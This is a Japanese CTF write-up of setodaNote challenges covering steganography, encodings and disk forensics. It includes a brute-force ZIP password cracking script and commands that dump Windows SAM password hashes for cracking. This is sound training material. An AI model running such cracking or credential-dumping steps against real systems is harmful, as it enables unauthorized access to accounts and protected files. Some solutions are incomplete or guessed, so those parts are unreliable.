lcasekey[26]="w"; ucasekey[26]="W" lcasekey[27]="x"; ucasekey[27]="X" lcasekey[28]="y"; ucasekey[28]="Y" lcasekey[29]="z"; ucasekey[29]="Z" lcasekey[30]="1"; ucasekey[30]="!" lcasekey[31]="2"; ucasekey[31]="@" lcasekey[32]="3"; ucasekey[32]="#" lcasekey[33]="4"; ucasekey[33]="$" lcasekey[34]="5"; ucasekey[34]="%" lcasekey[35]="6"; ucasekey[35]="^" lcasekey[36]="7"; ucasekey[36]="&" lcasekey[37]="8"; ucasekey[37]="*" lcasekey[38]="9"; ucasekey[38]="(" lcasekey[39]="0"; ucasekey[39]=")" lcasekey[40]="Enter"; ucasekey[40]="Enter" lcasekey[41]="esc"; ucasekey[41]="esc" lcasekey[42]="del"; ucasekey[42]="del" lcasekey[43]="tab"; ucasekey[43]="tab" lcasekey[44]="space"; ucasekey[44]="space" lcasekey[45]="-"; ucasekey[45]="_" lcasekey[46]="="; ucasekey[46]="+" lcasekey[47]="["; ucasekey[47]="{" lcasekey[48]="]"; ucasekey[48]="}" lcasekey[49]="\\"; ucasekey[49]="|" lcasekey[50]=" "; ucasekey[50]=" " lcasekey[51]=";"; ucasekey[51]=":" lcasekey[52]="'"; ucasekey[52]="\"" lcasekey[53]="`"; ucasekey[53]="~" lcasekey[54]=","; ucasekey[54]="<" lcasekey[55]="."; ucasekey[55]=">" lcasekey[56]="/"; ucasekey[56]="?" lcasekey[57]="CapsLock"; ucasekey[57]="CapsLock" lcasekey[79]="RightArrow"; ucasekey[79]="RightArrow" lcasekey[80]="LeftArrow"; ucasekey[80]="LeftArrow" lcasekey[84]="/"; ucasekey[84]="/" lcasekey[85]="*"; ucasekey[85]="*" lcasekey[86]="-"; ucasekey[86]="-" lcasekey[87]="+"; ucasekey[87]="+" lcasekey[88]="Enter"; ucasekey[88]="Enter" lcasekey[89]="1"; ucasekey[89]="1" lcasekey[90]="2"; ucasekey[90]="2" lcasekey[91]="3"; ucasekey[91]="3" lcasekey[92]="4"; ucasekey[92]="4" lcasekey[93]="5"; ucasekey[93]="5" lcasekey[94]="6"; ucasekey[94]="6" lcasekey[95]="7"; ucasekey[95]="7" lcasekey[96]="8"; ucasekey[96]="8" lcasekey[97]="9"; ucasekey[97]="9" lcasekey[98]="0"; ucasekey[98]="0" lcasekey[99]="."; ucasekey[99]="." #make sure filename to open has been provided if len(sys.argv) == 2: keycodes = open(sys.argv[1]) for line in keycodes: #dump line to bytearray bytesArray = bytearray.fromhex(line.strip()) #see if we have a key code val = int(bytesArray[2]) if val > 3 and val < 100: #see if left shift or right shift was held down if bytesArray[0] == 0x02 or bytesArray[0] == 0x20 : print(ucasekey[int(bytesArray[2])], end=''), #single line output #print(ucasekey[int(bytesArray[2])]) #newline output else: print(lcasekey[int(bytesArray[2])], end=''), #single line output #print(lcasekey[int(bytesArray[2])]) #newline output else: print("USAGE: python %s [filename]" % os.path.basename(__file__))
スクリプトを実行
$ python decode_usb.py USAGE: python decode_usb.py [filename] $ python decode_usb.py output_usb.txt OnespacepopularspacebbutspaceunverifiedspaceexplanatindeloonspaceforspacethespaceQWERTYspacearrangementspaceisspacethatspaceitspacewwasspacedesignedspacetospacereducespacethespacelikelihoodspaceofspaceflag{xxxx}spaceinternalspaceclashhingspaceofspacetypebarddelsspacebyspaceplacingspacecommonlyspaceussedspacecombinatiioonsspaceofspacelettersspacefartherspacefroomspaceeachspaceoherspaceinsidespacethespacemachine.Enter
space
を半角スペースに置換(適宜改行いれています)
One popular bbut unverified explanatindeloon for the QWERTY arrangement is that it wwas designed to reduce the likelihood of flag{xxxx} internal clashhing of typebarddels by placing commonly ussed combinatiioons of letters farther froom each oher inside the machine.Enter
日本語訳
QWERTY配列の一般的な説明としては、一般的に使用される文字の組み合わせを機械の中で 互いに離れた場所に配置することで、タイプバーデルの内部での フラグ{xxxx} の衝突を減らすために設計されたというものがあるが、検証されていない。
tkys_not_enough
250
せっかく内偵中の後輩から通信データが送られてきたのに。 いわく決定的な証拠を掴んだとのことですが、普段とは異なる方法で取得したデータなのか解析ツールにうまく取り込めません。 後輩に聞こうにも通信データが送られた直後「やはり君だったか」という聞きなれない男の声を最後に 連絡が途絶えてしまっています。あなたは何とかしてこの通信データを解析しなければなりません。 添付されたファイルを解析し、フラグを入手してください。
Wiresharkで開けない
バイナリエディタでファイルの先頭を
D4 C3 B2 A1に書き換えたら開けたが、開くときにエラーあり
2パケットのみ見える状態
サクラエディタで開くと結構見える
VPNとかHTTPっぽい??
(解けていない)
(追記)
https://github.com/satoki/ctf_writeups/tree/master/setodaNote_CTF/tkys_not_enough
binwalkでいけるらしい(カテゴリーがNetworkなのに!? 別途正攻法があるのだろうか)
試したら以下の通りできてしまった・・・
$ binwalk -e tkys_not_enough.pcap DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 535234 0x82AC2 gzip compressed data, from Unix, NULL date (1970-01-01 00:00:00) 537545 0x833C9 gzip compressed data, from Unix, NULL date (1970-01-01 00:00:00) $ cd _tkys_not_enough.pcap.extracted $ ls 82AC2 833C9 $ cat 82AC2 I'm going to practice making origami cranes so that I can fold them for you some day, okay? flag{netw0rk_shell_2000} $ cat 833C9 Dreams are meaningful for when you work toward them in the real world.
setodaNoteCTF Writeup [Misc]
Misc
Welcome
Webのターミナルにログインしてフラグファイルをcatで見るだけ
$ cat welcome.txt Welcome to the setodaNote CTF!! *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* * * * flag{Enjoy_y0ur_time_here!} * * * *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
morse_one
友人から「秘密のメッセージを送るね」とあるテキストファイルが送られてきました。 どうやらそのままでは読めないようです。添付されたファイルを解析し、秘密のメッセージを見つけ出してください。 フラグは得られた文字列を flag{} で囲んで答えてください。 フラグに英字が含まれている場合はすべて大文字で答えてください。 例えば得られた文字列が Flag の場合は flag{FLAG} となります。
問題タイトルより、モールス信号か
DDDBSDDSBDDDSDBDSBBBSDBBDSDBDDSDSBDDB
D dot
S silent
B bar
として、以下に変換してみた
..._ .. _... ._. ___ .__. ._.. . _.._
以下で変換
https://morsecode.world/international/translator.html
→VIBROPLEX
最初、意味のない単語ができたので、外れかと思い、変換をいろいろ試行錯誤して時間を無駄にした
(モールス信号をカタカナに変換するサイトなどもある)
が、なんと、フラグはモールスキーのブランドだった・・・
Vibroplexは、1904年にニューヨーク市のHorace Greeley Martinが発明し、特許を取得した後、 VibroplexCompanyが1905年に最初に製造および販売したサイドツーサイドの機械式半自動モールスキーのブランドです。 ウィキペディア(英語)
Hash
ハッシュを求める問題
% shasum -a 256 * | grep aff02d6ad353ebf547f3b1f8ecd21efd7931e356f3930ab5ee502a391c5802d7 aff02d6ad353ebf547f3b1f8ecd21efd7931e356f3930ab5ee502a391c5802d7 pass024.txt % shasum -a 256 * | grep 8428f87e4dbbf1e95dba566b2095d989f5068a5465ebce96dcdf0b487edb8ecb 8428f87e4dbbf1e95dba566b2095d989f5068a5465ebce96dcdf0b487edb8ecb pass034.txt % shasum -a 256 * | grep e82f6ff15ddc9d67fc28c4b2c575adf7252d6e829af55c2b7ac1615b304d8962 e82f6ff15ddc9d67fc28c4b2c575adf7252d6e829af55c2b7ac1615b304d8962 pass079.txt
% cat pass024.txt pass034.txt pass079.txt
F
難解言語Brainfuck
+++++++[->++++++++++>+++++++++++>+++++++++>++++++++++<<<<]>.>-.>++.>+.>++++++++[>++++<-]>.>+++++[->+++++++++++++++++++++>+++++++++++++++++++++++<<]>.>.>++++++++[>++++<-]>.>++++++++++[->++++++++++>++++++++++>++++++++++>++++++++++>++++++++++++<<<<<]>++.>++++++++.>---.>+++.>+++.>++++++++[>++++++++<-]>++++.>+++++++++++[>++++++++++>++++++++++<<-]>+.>.>++++[>++++++++++<-]>-.>+++[->+++++[->++++++++<]<]>>----.>++++++++++[->++++++++++>+++++++++>++++++++++++>++++++++++>+++++++++<<<<<]>-----.>-----.>-----.>+.>+++++.>++++++++++++++++++++[>++++++>+++++>+++++>+++++>+++>++<<<<<<-]>----.>++++.>+.>-----.>++++++++++.>+++++.>++++++++++[->+++++++++>+++++++++++>+++++++++++>++++++++++<<<<]>---.>+.>++++.>.>+++[->+++++++++++<]>..>+++++[->+++++[->+++++<]<]>>.
Brainfuck Language - Online Decoder, Translator, Interpreter https://www.dcode.fr/brainfuck-language
FLAG is
magic_number
flag is flag{[89 50 4e 47][52 61 72 21][ff d8 ff e0]}
ファイル種別を示すマジックナンバーでファイルを見分ける問題
.PNG
Rar!
JPEGファイル FF D8 FF E0
flag is
Stegano
うさみみハリケーンの「AoZoraSiroNeko.exe」にてステガノグラフィー解析を行う
以下にて画像に文字列が認識できた
「赤色 ビット4抽出」
flag{Re4l17y_
「XOR(すべてのビットを反転)」
1s_cReA73d_by
「青色 ビット4抽出」
_7h3_m1nd_rA9}
morse zero
友人から「マジの秘密のメッセージを送るね」とあるテキストファイルが送られてきました。 どうやらマジでそのままでは読めないようです。添付されたファイルを解析し、 マジの秘密のメッセージを見つけ出してください。 フラグは得られた文字列を flag{} で囲んで答えてください。 フラグに英字が含まれている場合はすべて大文字で答えてください。 例えば得られた文字列が Flag の場合は flag{FLAG} となります。
問題タイトルより、モールス信号と思われる
パット見で、Zだけだとおもいきや、バイナリエディタでみるといろいろ含まれている
E2 80 8C E2 80 8C E2 80 8B E2 80 8B 5A E2 80 8B ............Z... 5A E2 80 8B E2 80 8C E2 80 8B 5A E2 80 8C E2 80 Z.........Z..... 8C E2 80 8C E2 80 8C E2 80 8C 5A E2 80 8B E2 80 ..........Z..... 8B E2 80 8C E2 80 8C E2 80 8B E2 80 8C 5A E2 80 .............Z.. 8B E2 80 8C E2 80 8C 5A E2 80 8B E2 80 8C E2 80 .......Z........ 8C E2 80 8C E2 80 8C 5A E2 80 8C E2 80 8B E2 80 .......Z........ 8B 5A E2 80 8C 5A E2 80 8B E2 80 8B E2 80 8B E2 .Z...Z.......... 80 8B 5A E2 80 8B E2 80 8B E2 80 8C E2 80 8C E2 ..Z............. 80 8B E2 80 8C 5A E2 80 8B E2 80 8B E2 80 8B 5A .....Z.........Z E2 80 8B E2 80 8C E2 80 8C E2 80 8B 5A E2 80 8B ............Z... E2 80 8C 5A E2 80 8C E2 80 8B E2 80 8C E2 80 8B ...Z............ 5A E2 80 8B Z...
値は5種類ある?
E2 80 8C 8B 5A
カタマリに注目すると、値は以下の3種類
E2 80 8C E2 80 8B 5A
余計な文字を消す
E2 80 8C E2 80 8C E2 80 8B E2 80 8B 5A E2 80 8B 5A E2 80 8B E2 80 8C E2 80 8B 5A E2 80 8C E2 80 8C E2 80 8C E2 80 8C E2 80 8C 5A E2 80 8B E2 80 8B E2 80 8C E2 80 8C E2 80 8B E2 80 8C 5A E2 80 8B E2 80 8C E2 80 8C 5A E2 80 8B E2 80 8C E2 80 8C E2 80 8C E2 80 8C 5A E2 80 8C E2 80 8B E2 80 8B 5A E2 80 8C 5A E2 80 8B E2 80 8B E2 80 8B E2 80 8B 5A E2 80 8B E2 80 8B E2 80 8C E2 80 8C E2 80 8B E2 80 8C 5A E2 80 8B E2 80 8B E2 80 8B 5A E2 80 8B E2 80 8C E2 80 8C E2 80 8B 5A E2 80 8B E2 80 8C 5A E2 80 8C E2 80 8B E2 80 8C E2 80 8B 5A E2 80 8B
E2 80 8C→ドット E2 80 8B→ハイフン 5A→スペース
..-- - -.- ..... --..-. -.. -.... .-- . ---- --..-. --- -..- -. .-.- -
サイバーシェフにて変換
TK5D6WEOXNT
→ハズレ
E2 80 8C→ハイフン E2 80 8B→ドット 5A→スペース
--.. . .-. ----- ..--.- .-- .---- -.. - .... ..--.- ... .--. .- -.-. .
サイバーシェフにて変換
https://gchq.github.io/CyberChef/#recipe=From_Morse_Code('Space','Line%20feed')&input=LS0uLiAuIC4tLiAtLS0tLSAuLi0tLi0gLi0tIC4tLS0tIC0uLiAtIC4uLi4gLi4tLS4tIC4uLiAuLS0uIC4tIC0uLS4gLg
ZER0_W1DTH_SPACE
ransom_note
NPIEWI-DECRYPT.txtよりランサムウェアの名前がわかる
No More Ransom ProjectからGANDCRAB V5.0.3の暗号化解除ツールをダウンロードする
https://www.nomoreransom.org/ja/decryption-tools.html
対象フォルダを指定して、ツールを実行する
secret.txt.npiewiがsecret.txtとなったので開く
Nothing
空白とタブと改行(\n)でできたファイルが渡される
柿こけらエンコードと思ったが、違う?
以前似たようなのを解いた気がするが・・・
こんな記事も
https://news.mynavi.jp/article/20210207-1691845/
分析した結果、ファイルの末尾にタブと空白で構成された見えないコードが用意されており、
そのコードによってマルウェアとして動作する仕組みになっていたとされている。
「space tab decode」でGoogle検索
Whitespace Language
https://www.dcode.fr/whitespace-language
上記にてデコードできた
FLAG is
i_knew_it
「このアセンブリ、見た瞬間あなただと分かりましたよ。」 ある暗号方式の名称がフラグになっています。添付ファイルからその暗号方式の名称を特定し、 フラグ形式で回答してください。 フラグに英字が含まれている場合は、すべて大文字で答えてください。 例えば This_is_FLAG が得られた場合は flag{THIS_IS_FLAG} となります。
(アセンブラ読めないので、解けていなかったが、適当に暗号方式を入力したら当たってしまった)
Redacted
黒塗りされたPDFファイルが渡される
Microsoft WordでPDFを開くと、Word文書に変換してくれる
変換後、黒塗りをオブジェクトとして動かせるので、フラグが見える
strong_password
ZIPファイルのパスワードを解除する問題
パスワード生成規則は以下
7ZIPでファイルを見るとファイルの作成日時は20210713(関係なかった)
<パスワード設定規則> ・使用可能な文字種は以下とする ・英大文字 A~Z ・英小文字 a~z ・数字 0~9 ・記号 6 種(@、#、$、%、!、-) ・パスワードの形式は以下とする ・[案件コード] + [記号1] + [年月日] + [記号2] ・パスワードの各要素は以下の規則に従い設定する (例:Abc#20200401$) ・案件コード:案件を示す英字 3 文字。大文字小文字は任意。 ・年月日:年月日を表す数字 8 桁(利用日に合わせ都度変更すること)。 ・記号1:記号 1 字を入れる。 ・記号2:記号 1 字を入れる。
以下のようなプログラムで解凍を試みたが、時間がかかりすぎる
アルファベットがすべて同じaaaからZZZまでに限定するとだいぶ速いが、
20200401から20210731まで総当たりしたが、こちらもダメ
総当たりの場合、一台のマシン(1CPU)では、一晩で一か月分ちょっと程度
複数のマシンで日付を分割して試したところ、運よく24時間程度(?)で解凍できた
# extract password zip import zipfile import string import sys filenameOut = "/home/user/passZIP_test" kigou = ['@','#','$','%','!','-'] # アルファベットのaからZまでがつながった # 「abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ」 # という52文字の文字列が取得できます。 aZ1 = [] for i in string.ascii_letters: #print(i) aZ1.append(i) yyyy = 2021 print ("{}年".format(yyyy)) filenameIn = "./TopSecret.zip" #filenameIn = "./dummy.zip" for mm in range(1,8): # monty print("{}月".format(mm)) sys.stdout.flush() # 明示的にflush nohupで都度ログが出るように for dd in range(1,32): # day print("{}日".format(dd)) sys.stdout.flush() # 明示的にflush nohupで都度ログが出るように for i in range(52): for j in range(52): for k in range(52): for l in range(6): for m in range(6): passStr = "{}{}{}{}{}{:02}{:02}{}".format(aZ1[i], aZ1[j], aZ1[k], kigou[l], yyyy, mm, dd, kigou[m]) #print (passStr) try: with zipfile.ZipFile(filenameIn) as pass_zip: pass_zip.extractall(filenameOut, pwd=passStr.encode("utf-8")) except Exception as e: pass #print(e) else: print('finish (zip extracted)') quit()
2021年2月28日が正解だった
(なぜかはわからない。多分ヒントはなかった)
正解はqYL%20210228!
であり、思ったより複雑なパスワードだったが、
生成規則とマシンパワーがあれば解凍できてしまうことがわかった
$ cat TopSecret.txt このパスワードが安全なはずがない。 flag{xxxxx}
setodaNoteCTF Writeup [Forensics]
Forensics
paint_flag
Wordファイルが渡される
Microsoft Office’s docx files are actually ___ files.
がヒント
ZIPファイルを解凍できるソフトで、Wordファイルを解凍する
解凍すると、以下フォルダに画像が入っている
「paint_flag\word\media」
50
あなたはメールデータの調査を依頼されました。 組織内の要員が規定に反して組織内のデータを個人利用のクラウドサービスにバックアップとして コピーしていたもののようです。メールデータに機密情報が含まれていないか、調査してください。 添付されたファイルを解析し、フラグを得てください。
「Sent-1」をテキストエディタで開く
下のほうに大量の文字がある
filename="kimitsu.zip"の下の文字列をコピーする
サイバーシェフでBase64デコードする
https://gchq.github.io/CyberChef/#recipe=From_Base64('A-Za-z0-9%2B/%3D',true)
以下のような表示なので、ZIPファイルであっていそう
PK........B(略)
サイバーシェフの画面にある、「Save Output to File」ボタンを押す
ダウンロードされたファイルを解凍すると、フラグが書いてある画像が出てきた
Deletedfile
ディスクイメージが渡される。
削除したファイルを復元したいとのこと。
photorecを使うと、削除フラグが立てられたファイルを
出来る限り復元してくれるようなので試してみる。
$ sudo apt install testdisk $ photorec deletedfile.raw
画面に従って復元する。
3ファイルが復元された。
フラグは「f0000076.jpg」にあった。
別解
https://www.autopsy.com/download/
Windows GUIの上位ソフトでも削除されたファイルを取り出せる
但し、VERSION 4.19.1 FOR WINDOWSは動かず(Case作成に失敗する)
4.11.0は利用できた
Timeline
100
君はタイムラインを知っているかね。ベンチに腰かけた老紳士がこちらに向かって話しかけてきます。 あまり使われてはいないようだがね。老紳士はそう話を続けながら正面に向き直りため息をつきます。 だが、完全に消えてしまう前にどんなアーティファクトであったか確かめてみてもいいとは思わんかね。 そういって老紳士は1枚のディスクを私に手渡すと、静かに去っていきました。 どうやらディスクを解析する必要があるようです。 添付のファイルを解析し、フラグを入手してください。
https://blog.group-ib.com/windows10_timeline_for_forensics
最も簡単な方法は、SQLiteビューア(無料のツールであるDB Browser for SQLiteなど)を使用して ActivitiesCache.dbに含まれるデータを確認することです。 開いてみたが、ダミーフラグしか見つからず
(ここまで) (解けていない)
(追記)
https://y0m0g1.hatenablog.com/entry/20210904/1630759171
ActivityテーブルのAppActivityIdカラムをnotepadでフィルタして、ファイル名を縦に読むとフラグがあった
ECB32AF3-1440-4086-94E3-5311F97F89C4\E:\AppData\f.txt ECB32AF3-1440-4086-94E3-5311F97F89C4\E:\AppData\l.txt ECB32AF3-1440-4086-94E3-5311F97F89C4\E:\AppData\a.txt ECB32AF3-1440-4086-94E3-5311F97F89C4\E:\AppData\g.txt ECB32AF3-1440-4086-94E3-5311F97F89C4\E:\AppData\{.txt ECB32AF3-1440-4086-94E3-5311F97F89C4\E:\AppData\T.txt ECB32AF3-1440-4086-94E3-5311F97F89C4\E:\AppData\h.txt :
browser_db
以下ツールの「parser\browsinghistoryview-x64」内にある
「BrowsingHistoryView.exe」で確認する
https://github.com/CyberDefenseInstitute/CDIR-A
使い方
起動時に表示されるAdvanced Options画面の
Load History From
でLoad history files from the specified history files
を選択
...
ボタンを押し、Firefox欄にファイルパスを入力
例)C:\Users\~\stella_9s84jetw.default-release_places.sqlite
Filter by visit date/time
でLoad history items from any time
を選択
OK
ボタンを押す
ブラウザ履歴が表示されるので確認
Titleにフラグがある
MFT
C_$MFTが渡され、日時とファイルサイズからファイル名を特定する
極秘情報のダウンロードされた日時が 2021-07-18 18:30頃 であることと、 ファイルサイズが 465030 であることのみが伝えられています。 添付ファイルを解析し、極秘情報のファイル名を特定してください。 例えばファイル名が file.txt の場合は flag{file.txt} と回答してください。
以下ツールの「mft.exe」で変換して確認する
https://github.com/CyberDefenseInstitute/CDIR-A
使い方
コマンドプロンプト上で以下の形式で実行します。 > プログラム -o 出力フォルダ 入力ファイルもしくは入力フォルダ 入力ファイルは解析したいファイル
>mft.exe -o output C_$MFT input: C_$MFT output: output\C_$MFT_output.csv
ファイルサイズから、該当は以下のみ
"." "kimitsu.zip" "C:\Users\stella\Downloads" "101525" "File(Deleted)" "465030" "2021/07/19 03:35:21.555" "2021/07/18 20:34:14.857" "2021/07/19 05:24:31.359" "2021/07/19 05:24:31.343" "2021/07/19 03:35:21.555" "2021/07/18 20:34:14.857" "2021/07/19 03:35:21.608" "2021/07/19 03:35:21.593" "+09:00" "0" "1674" ""
tkys_another_day
100
無事でいてくれているだろうか。あなたは後輩の端末に残されていたある画像ファイルが気になっています。 作成された日付は音信不通となる前日。ファイルは作りかけなのか、断片的な情報しか表示されません。 もしかすると後輩の消息についての重要な手がかりが隠されているのではないか。 あなたはファイルを詳しく解析することにしました。 添付されたファイルを解析し、フラグを入手してください。
PNGファイルが渡される。
APNG(アニメーションPNG)と思われる。
Windowsなら以下ソフトで各レイヤーを表示可能
FireAlpaca
https://forest.watch.impress.co.jp/library/software/firealpaca/
MACだと標準ビュアーで見えてしまっていた
(ので何かもっと仕掛けがあると思って探してしまった)
TITLE
120
仕事を終えて帰宅の途につくあなた。人通りの少ない住宅街を通り過ぎ、 自宅のマンションにたどり着きます。 ちょうど部屋のドアの前に立った時に手に持っていた携帯が鳴りメールを受信したことを伝えます。 件名:これが最後の警告だ そのメールには画像が添付されていました。 添付されたファイルを解析し、フラグを得てください。
画像の右下に四角い模様のような何かがある
8*3行ある
8bit?
11101100 00100101 10001110
ec 25 8e
ì%.
00010011 11011010 01110001
13 da 71
.Úq
RGB?
lo3rs1tkd.jpg
ファイル名はシュタインズゲート第11話のネタっぽい 問題タイトルがTITLEなので関係あるのだろうか lo3rs1tkd.jpg
(解けていない)
(追記) 画像の下のほうに見えていない領域がある
以下を参考に画像サイズ(height)を含む場所を探す
https://blog.mirakui.com/entry/2012/09/17/121109
SOF0 0xffc0 基本DCT方式のフレーム開始
→画像サイズ(height)はffc0の後ろにある
今回の例では
「FF C0 00 11 08 HH HH (HHがHeight)」
JPEGファイルをバイナリエディタ(010 Editor)で開き、
struct SOFx sof0(マーカーFFC0)
WORD Y_imageを1024にする(マーカーFFC0の後ろ4、5バイト目)
(A3hから2バイトを「04 00」にする)
→(訂正)1024ではなく、1282ぐらいにしないと全部見えないです
画像をビュワーで見ると下のほうに見えなかった領域が見えるようになる
→QRコードのようなものが見えるが、そのままでは読み取れないので、もう一工夫必要?
→上記はheightを1400にしたもの。大きくしすぎても意外と表示できる。
(追記2)
strong qr decoderで戻せるらしい
https://github.com/waidotto/strong-qr-decoder
QRコードの入力が画像でなく、テキスト(#)なので、手動ではつらい
https://qiita.com/kusano_k/items/e0024db9fe9802121bbb
上記の通り、プログラムを組むと楽にできる
from PIL import Image im = Image.open("lo3rs1tkd3.png") for x in range(29): l = "" for y in range(26): if im.getpixel((975+10*x, 965+10*y))[0]<128: l += "#" else: l += " " print(l)
strong-qr-decoderをダウンロード
$ git clone https://github.com/waidotto/strong-qr-decoder
QR(画像)からテキストに変換
$ python3 read_img_qr.py lo3rs1tkd3.png > output_qr.txt $ mv output_qr.txt strong-qr-decoder/ $ cd strong-qr-decoder/
python3だと動かない
$ python3 sqrd.py output_qr.txt File "sqrd.py", line 246 print '' ^ SyntaxError: Missing parentheses in call to 'print'. Did you mean print('')?
Python 2.7.17にて実行
(エラー訂正レベル、マスクパターンをforループで回し、総当たり)
-e ERROR_CORRECTION, --error-correction ERROR_CORRECTION エラー訂正レベル(1:L 0:M 3:Q 2:H) -m MASK, --mask MASK マスクパターン(0〜7)
$ for e in $(seq 0 3); do for m in $(seq 0 7); do python2 sqrd.py -e $e -m $m output_qr.txt; done; done Traceback (most recent call last): File "sqrd.py", line 1024, in <module> num = int(data_bits[:10], 2) ValueError: invalid literal for int() with base 2: '' flag{Y0u_h4ve_w1tnessed_t00_much} : (大量に出るが、途中にフラグが出る)
CSIRT_asks_you_01
Windowsのイベントログを見る問題
ネットワーク経由のログインが成功したことを示している最初の記録日時(TimeCreated SystemTime) と Event ID を特定することです。 フラグは UTC での記録日時 を yyyy/mm/dd_hh:mm:ss 形式にし、最後に Event ID をアンダースコアで つなげた形で答えてください。 例えば 記録日時 が 2020/01/10 7:05:13.9234567Z 、Event ID が 1234 の場合は flag{2020/01/10_07:05:13_1234} となります。記録日時は UTC+0 で回答することに注意してください。
以下をダウンロード
Introducing: Log Parser Studio
https://techcommunity.microsoft.com/t5/exchange-team-blog/introducing-log-parser-studio/ba-p/601131
https://techcommunity.microsoft.com/gxcuf89792/attachments/gxcuf89792/Exchange/16744/1/LPSV2.D2.zip
Log Parser 2.2 日本語版
https://www.microsoft.com/ja-jp/download/details.aspx?id=24659
Log Parser Studioに以下ファイルのXMLをインポート
https://github.com/CyberDefenseInstitute/CDIR-A/blob/master/parser/lpslib/LPSLibrary_CDI.XML
Log Parser Studioにて「【認証】ネットワークログオン」にて検索
出てきたうち、以下が一番早いアクセス日時
ソースIP 10.1.2.105 ワークステーション名 DESKTOP-05C7F53 日時 2021/07/18 6:50:40 UTC flag{2021/07/17_21:50:40_4624} →ハズレ
次に怪しいアクセス
ソースIP 192.168.224.120 ワークステーション名 lizardface 日時 2021/07/19 5:09:21
→なぜこれが正解か不明 ワークステーション名なのか、ソースIPなのか
参考
【認証】ネットワークログオンの検索クエリ(EventIDは4624)
SELECT TimeGenerated AS 日時, ComputerName AS コンピュータ名, EventLog AS ファイル名, /* EXTRACT_TOKEN(Strings,0,'|') AS 元SID, EXTRACT_TOKEN(Strings,1,'|') AS 元ユーザ, EXTRACT_TOKEN(Strings,2,'|') AS 元ドメイン, EXTRACT_TOKEN(Strings,3,'|') AS 元ログオンID,*/ EXTRACT_TOKEN(Strings,4,'|') AS SID, EXTRACT_TOKEN(Strings,5,'|') AS ユーザ, EXTRACT_TOKEN(Strings,6,'|') AS ドメイン, EXTRACT_TOKEN(Strings,7,'|') AS ログオンID, EXTRACT_TOKEN(Strings,9,'|') AS ログオンプロセス, EXTRACT_TOKEN(Strings,10,'|') AS 認証パッケージ, EXTRACT_TOKEN(Strings,11,'|') AS ワークステーション名, EXTRACT_TOKEN(Strings,12,'|') AS ログオンGUID, EXTRACT_TOKEN(Strings,16,'|') AS プロセスID, EXTRACT_TOKEN(Strings,17,'|') AS プロセス名, EXTRACT_TOKEN(Strings,18,'|') AS ソースIP FROM '[LOGFILEPATH]' WHERE SourceName = 'Microsoft-Windows-Security-Auditing' AND EventID = 4624 AND EXTRACT_TOKEN(Strings,8,'|') = '3' AND ユーザ <> 'ANONYMOUS LOGON' AND ソースIP <> '-' AND ソースIP <> '::1'
unallocated_space
150
「こりゃ今夜は帰れそうにないな」同僚がそう言いながらハードディスクやUSBメモリが大量に詰まった箱を どさっとデスクに置きます。 すべてある組織で使用されていたもので本来は破壊処理されるはずが、 不正に利益を得ようとした人物が仲介したことにより、破壊処理されずに中古市場に 出回ってしまったもののようです。 今日が記念日だという同僚を早く帰すため、あなたはディスクの解析調査を手伝うことにしました。 復元可能なデータがないか確認してください。 添付されたファイルを解析し、フラグを入手してください。
何のファイルか確認
$ file unallocated_space unallocated_space: DOS/MBR boot sector MS-MBR Windows 7 english at offset 0x163 "Invalid partition table" at offset 0x17b "Error loading operating system" at offset 0x19a "Missing operating system", disk signature 0x23303fcc
$ fdisk -lu unallocated_space Disk unallocated_space: 30 MiB, 31457280 bytes, 61440 sectors Units: sectors of 1 * 512 = 512 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes Disklabel type: dos Disk identifier: 0x23303fcc
$ foremost unallocated_space →0 FILES EXTRACTED
(解けていない)
(追記)
https://y0m0g1.hatenablog.com/entry/20210904/1630759171
うさみみハリケーンの青い空を見上げればいつもそこに白い猫(AoZoraSiroNeko.exe)
でファイル抽出できる(ペイントでフラグファイルを作るmp4動画)
※AoZoraSiroNeko.exeでの操作
ファイル・データ抽出→検索実行→リスト選択項目を保存
CSIRT_asks_you_02
200
組織内のインシデント対応部署から引き続き急ぎ解析してほしいとの依頼を受けています。 一つ目の解析依頼(CSIRT_asks_you_01)の結果と別の証拠などから、 あるアカウントのパスワードが脆弱である可能性が示唆されています。 添付されたファイルを解析し、そのパスワードを特定してください。 フラグはアカウント名とパスワード(平文)をアンダースコアでつないで回答してください。 例えばアカウント名が user 、パスワードが pass の場合は flag{user_pass} と回答します。
Ubuntuにて
$ sudo apt install bkhive
$ bkhive bkhive: command not found
インストールしたのになぜかコマンドがない
kaliLinuxではsamdump2を使うっぽい
$ sudo apt install bkhive 127 ? Package bkhive is not available, but is referred to by another package. This may mean that the package is missing, has been obsoleted, or is only available from another source However the following packages replace it: ★samdump2に置き換えられた samdump2 E: Package 'bkhive' has no installation candidate
Ubuntuにてbkhiveをいれたときに一緒に入ったsamdump2を使う
$ samdump2 ./SYSTEM ./SAM > hashes.txt
結果を見てみる
$ cat hashes.txt *disabled* Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: *disabled* Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: *disabled* :503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: *disabled* :504:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: stella:1001:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: :1002:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: :1003:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
パスワードハッシュが出ている
john the ripperで解析する
